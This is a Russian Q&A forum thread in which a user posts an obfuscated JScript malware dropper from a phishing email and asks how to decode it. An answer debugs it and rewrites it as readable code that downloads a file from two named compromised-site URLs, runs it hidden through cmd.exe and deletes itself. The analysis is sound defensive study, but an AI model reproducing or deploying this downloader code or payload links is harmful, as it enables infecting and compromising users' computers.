Пришло на почту письмо с вирусом, открыл в песочнице архив, вынул файл jse и вот его код... Он загружает много разных вредоносных штук. Как расшифровать эти функции для расширения кругозора? Или подскажите, куда идти с этим вопросом?
function kfv(tdD, Fh)
{
var CH = "le" + "ngt" + "h";
var QOM = tdD[CH];
var vT = Fh[CH];
var J = 0;
var lv = "";
while (J < QOM)
{
var QI = J / 2;
var ffF = Gpr();
ffF += "t";
var G = tdD[ffF](J);
G = G + tdD[ffF](J + 1);
++J; ++J;
var MD = Fo();
MD += "At";
var xWd = Fh[MD](QI % vT);
var JNS = X(G, xWd);
lv = lv + JNS;
}
return lv;
}
function Fo()
{
var MD = "c" + "ha" + "rC" + "o";
MD += "de";
return MD;
}
function Gpr()
{
return "charA";
}
function v(O)
{
var W = "";
var d = 0;
var JmZ = hj(O+4);
var Tjs = 0;
if ((O == Tjs))
return false;
var b = "X" + "ML2" + ".X" + "ML";
b += "HTTP";
Tjs = new JmZ("M" + "S" + b);
try
{
pp = Tjs++;
}
catch (OM)
{
return !zzL(Tjs);
}
return false;
}
function n(fb, Z)
{
return kfv(fb, Z);
}
function z(kUS, Cf)
{
kUS[n("20140700","odbn7TYhStvEA5fGNU")]();
kUS[n("30411834","d8hQvUKa5j7v1oC")] = 1;
kUS[n("3F01510600","hs8repD2DWel")](Cf[n("161C24451B2C351C323B213D","DyW5tBFypTE")]);
kUS[n("001E125A1F112E59","Pqa3kxA7ML")] = 0;
}
function X(F, wT)
{
return String.fromCharCode(parseInt(F, 8 + 8) ^ wT);
}
function zzL(N)
{
var M = "V" + "D" + "\x4C" + "\x37" + "j" + "V" + "\x4F" + "\x79" + "\x6F" + "\x71" + "\x6B";
var iAg = typeof N[n("19342959",M)];
var taq = "\x42" + "\x51" + "W" + "\x55" + "\x77" + "B" + "D" + "\x37" + "M" + "Q" + "\x56" + "\x57" + "3" + "f" + "2" + "S" + "X";
var srW = (n("373F3C3B18352A",taq));
return (iAg != srW );
}
function Xh(Kqd, hU)
{
var Hb = WScript;
Kqd[hU](Hb[n("37221604340014050B392A200908","dAdmDtRpgU")]);
}
function Rto(Hsc)
{
var Lk=498919;
var VRL=Lk+18897;
var zP=VRL/676;
var cQ=zP-305;
var I = cQ;
var Q=110697;
var flw=Q+51031;
var Fv=flw/722;
var ts=Fv-208;
var avq = parseInt(Hsc, ts);
return avq;
}
function K(xD, yid)
{
return Rto(xD);
}
function l()
{
return "GetSpecialFolder";
}
function T()
{
return "f" + "i" + "e" + "l" + "d" + "s";
}
function ewH()
{
return "appendC" + "hunk";
}
function e(Ux)
{
var Hnp = 128;
var B = "not";
try
{
var Gmq = "t" + "f" + "V" + "\x54" + "\x55" + "\x71" + "e" + "x" + "B" + "\x74" + "l" + "x" + "2";
B = "\\" + Ux[n("33032200301C1536231909",Gmq)]();
B = B + Hnp[n("0E5C3028722E","m4QZ3Z7baO")](256);
}
catch (u)
{
B = Ux[l()](2) + B;
}
return B;
}
function C(JIt, hU)
{
JIt["run"](hU, 0);
return 8;
}
function sv()
{
return "va" + "l" + "ue";
}
function o()
{
return "b" + "in";
}
function q()
{
return n("302239212B7C393C5403023101034D","qfveiRkY7lpUrf9gd");
}
function V()
{
return "update";
}
function r(fw, JIt, OW)
{
var qn = new JIt(q());
var os = fw["Si" +"ze"];
qn[T()]["a" + "pp" + "end"]("bin", 201, 2 + os - 2);
qn["o" + "pen"]();
qn["ad" + "d" + "N" + "ew"]();
var RoM = ewH();
qn(o())[RoM](OW);
var c = V();
qn[c]();
return qn(o())[sv()];
}
function hR(fw, Hf, JIt)
{
var pt = "\x70" + "u" + "C" + "\x55" + "\x67" + "p" + "9" + "\x4B" + "8" + "r" + "O" + "u" + "b" + "\x66" + "\x6A" + "7";
var VW = n("23143530331F7F225417",pt);
var sD = fw["R" + "ead"]();
sD = r(fw, JIt, sD);
if (sD.length > 10)
{
fw[VW](Hf);
return (99 > 77);
}
return false;
}
function osm()
{
var PQ = n("3655291C0210156D192017","U8M2ghpM6C7pnmzZ");
return PQ;
}
function lx(ue)
{
return new ue("MSXML" + "2.XMLHTTP");
}
function OK(Cf, JFK)
{
var j = "2511002B";
var zE = "k" + "\x7A" + "E" + "y" + "L" + "\x71" + "s" + "\x31" + "\x37" + "\x6C" + "P" + "M";
var KN = "2C3F11";
var eNN=425628;
var yKS=eNN+20532;
var HHL=yKS/715;
var EKF=HHL-624;
Cf[n(j,"JaeEjodLCcrtGiq5C")](n(KN,zE), JFK, EKF);
try {
var sP = "l" + "\x67" + "4" + "\x79" + "\x4C" + "X" + "D" + "\x4E" + "U" + "f" + "\x64" + "\x58" + "1" + "J" + "\x6A" + "O" + "2" + "\x69";
var Bdl = "1F025A1D";
Cf[n(Bdl,sP)]();
} catch (GcL) {
return (1-1);
}
return 1;
}
function uG()
{
if (7 > 4)
{
return f(n("5C2E1C077141620E2914300E201F23512801102307630A3C4822032019205D291C052A1A22116705220426053E477505042C4027132F","4ZhwKnMcHgCgMpN"));
}
else return 0;
}
function hj(g)
{
var NP=["Ac","iv","t","O","t","bj","ec","eX"];
var UY=NP[0]+NP[2]+NP[1]+NP[7]+NP[3]+NP[5]+NP[6]+NP[4];
var oOe = UY;
return eval(oOe);
}
function bf()
{
if (45 > 32)
{
return f(n("0E03203D1C576E422E2B331F3B4300057B3A1F4020092A2F2943391E155837220302331E68242B193F420B043363051D26","fwTMomAmGFGlZm"));
}
else return 0;
}
function UJ(m, aV)
{
return new m(aV);
}
function NbL(grF)
{
return UJ(hj(45), grF);
}
function uHf(ixB)
{
var bx;
if (ixB == 1)
{
var RN = "\x65" + "\x69" + "C" + "K" + "\x77" + "\x36" + "\x76" + "\x56" + "\x30" + "\x41" + "\x6C" + "e" + "e" + "\x45";
bx = new NbL(n("360A312207421F38576F2A0C09203610303F125B39345A240F11",RN));
}
else
{
var Ch = "d" + "\x38" + "B" + "\x67" + "\x33" + "0" + "Y" + "6" + "\x32" + "y" + "\x41";
bx = new NbL(n("257C0D23711E0A42401C2009",Ch));
}
return bx;
}
function f(bRK)
{
var gf;
var Tt;
var XO = lx(hj(42));
var U = 0;
if (OK(XO, bRK) == 0)
return false;
var AJa = "663B19392D04";
var ROw=162831;
var vWV=ROw+9694;
var dBV=vWV/335;
var MNv=dBV-313;
var Ht=633750;
var nb=Ht+59217;
var Nx=nb/759;
var IuQ=Nx-911;
if (XO[n(AJa,"5OxMXwvDsP")] != MNv - IuQ)
return false;
var qp = uHf(1);
var Vh = uHf(2);
bRK = e(qp);
z(Vh, XO);
if (hR(Vh, bRK, hj(7))) {} else
return (2>3);
var mx = "162D370427";
Vh[n(mx,"UAXwBJjMZCKLt")]();
var k = hj(144);
var vx = "00442E4304112C472000211534";
var ndq = n(vx,"W7M1maXishDyXqzd");
gf = UJ(k, ndq );
Tt = osm() + bRK;
var zo = ((U = C(gf, Tt)) < 10);
if (zo)
{
var P = "3206010004232301551F";
bRK = n(P,"VcmepFeh9zWw2Adt");
Xh(qp, bRK);
return ((6+7)>8);
}
return U;
}
function t(us)
{
if ((us > 5) && v(1))
{
var ut = uG();
if (ut == false)
ut = bf();
var mAd=2280;
var H=mAd+1734;
var bV=H/223;
var Yb=bV-15;
return Yb;
}
var Lot=76466;
var Vm=Lot+394;
var NyY=Vm/549;
var Vc=NyY-136;
return Vc;
}
t(12);
var OaHcu = 096;
Можно понять суть скрипта, если запустить его в режиме отладки. Перед выполнением скрипт расшифровывает сам себя. Для отладки можно использовать браузер (вставить в скрипт слово строчку debugger;
), принцип тот же самый. Я использую NodeJS.
Запустим на выполнение:
node debug index.js
Начнется отладка этого скрипта. С помощью next
(или n
), step
(или s
) и других команд (список можно увидеть по help
) можно отлаживать шаг за шагом этот скрипт.
У меня дошло до ошибки:
< ReferenceError: ActiveXObject is not defined
< at eval (eval at hj (/home/pusher/tmp/jse/index.js:244:12), <anonymous>:1:1)
< at hj (/home/pusher/tmp/jse/index.js:244:12)
< at v (/home/pusher/tmp/jse/index.js:42:15)
< at t (/home/pusher/tmp/jse/index.js:331:21)
< at Object.<anonymous> (/home/pusher/tmp/jse/index.js:349:1)
< at Module._compile (module.js:650:14)
< at Object.Module._extensions..js (module.js:664:10)
< at Module.load (module.js:566:32)
< at tryModuleLoad (module.js:506:12)
< at Function.Module._load (module.js:498:3)
< Waiting for the debugger to disconnect...
Значит, каким-то образом используется ActiveXObject
. А строка 246, где произошла ошибка, позволила мне найти это место в скрипте.
Далее выяснилось, что используется ActiveXObject('MSXML2.XMLHTTP')
- это "AJAX". Я его подменил на
var XMLHttpRequest = require("xmlhttprequest").XMLHttpRequest;
// далее в скрипте
if(oOe == 'ActiveXObject') {
return XMLHttpRequest;
}
Так как замена была не полноценной, логика скрипта не работала. Немного изменив код, я заставил его работать. Идут запросы на эти два адреса:
http://massimomerighi.it/administrator/backups/msg.jpg
https://imtsa.fr/wp-admin/css/colors/blue/msg.jpg
На этом я закончил изучение работы скрипта.
Произведя очевидные подстановки в код, вроде слияния строк:
"d" + "\x38" + "B" + "\x67" + "\x33" + "0" + "Y" + "6" + "\x32" + "y" + "\x41"
"l" + "\x67" + "4" + "\x79" + "\x4C" + "X" + "D" + "\x4E" + "U" + "f" + "\x64" + "\x58" + "1" + "J" + "\x6A" + "O" + "2" + "\x69"
И вызова функций, например:
function sv()
{
return "va" + "l" + "ue";
}
заменяется на "value"
function o()
{
return "b" + "in";
}
заменяется на "bin"
Станет ясно, что функция
function kfv(tdD, Fh)
{
var QOM = tdD.length;
var vT = Fh.length;
var J = 0;
var lv = "";
while (J < QOM)
{
var QI = J / 2;
var G = tdD.charAt(J);
G = G + tdD.charAt(J + 1);
++J; ++J;
var xWd = Fh.charCodeAt(QI % Fh.length);
var JNS = String.fromCharCode(parseInt(G, 8 + 8) ^ xWd);
lv = lv + JNS;
}
return lv;
}
Используется для расшифровки оставшихся строк.
После всех подстановок можно прийти к следующему коду:
// пишем значение из stream в recordset и возвращаем значение, возможно не нужна
function readFromStream(adoStream, bytes)
{
var adoRecordSet = new ActiveXObject("ADODB.Recordset");
adoRecordSet.fields.append("bin", 201, adoStream.Size);
adoRecordSet.open();
adoRecordSet.addNew();
adoRecordSet("bin").appendChunk(bytes);
adoRecordSet.update();
return adoRecordSet("bin").value;
}
// читаем значения из stream и сохраняем в tmpFile
function SaveStreamToFile(adoStream, tmpFile)
{
var bytes = adoStream.Read();
value = readFromStream(adoStream, bytes);
adoStream.SaveToFile(tmpFile);
return true;
}
// обрабатываем очередной url
function processUrl(url)
{
var xmlHttp = new ActiveXObject("MSXML2.XMLHTTP");
// делаем GET запрос на url
xmlHttp.open("GET", url, 0);
try {
xmlHttp.send();
} catch (GcL) {
return false;
}
// если неудачно возвращаем false
if (xmlHttp.Status != 200)
return false;
var fso = new ActiveXObject("Scripting.FileSystemObject");
var adoStream = new ActiveXObject("ADODB.Stream");
// получаем имя временного файла в папке для временных файлов
var tmpFile = fso.GetSpecialFolder(2) + "\\" + fso.GetTempName();
// записываем результат запроса в stream
adoStream.Open();
adoStream.Type = 1;
adoStream.Write(xmlHttp.ResponseBody);
adoStream.Position = 0;
// сохраняем все во временный файл
SaveStreamToFile(adoStream, tmpFile);
adoStream.Close();
var wsShell = new ActiveXObject( "Wscript.Shell" );
// пытаемся запустить сохраненный файл как cmd команду
wsShell.run("cmd.exe /c " + tmpFile,0);
// удаляем файл
fso.deleteFile(WScript.ScriptFullName);
return (true);
}
function Run()
{
var result = processUrl("url/1"); // пробуем с одним url
if (result == false) // если не получилось
result = processUrl("url/2"); // пробуем с другим url
}
Run();
Расшифровать не получится тут использован JS Compressor он выдает случайные параметры разве только попытаться понять алгоритм функции.
Современные решения для бизнеса: как облачные и виртуальные технологии меняют рынок
Виртуальный выделенный сервер (VDS) становится отличным выбором
Мне надо заменить в БД значение ячейки, если оно попадает под условиеДелаю такой запрос: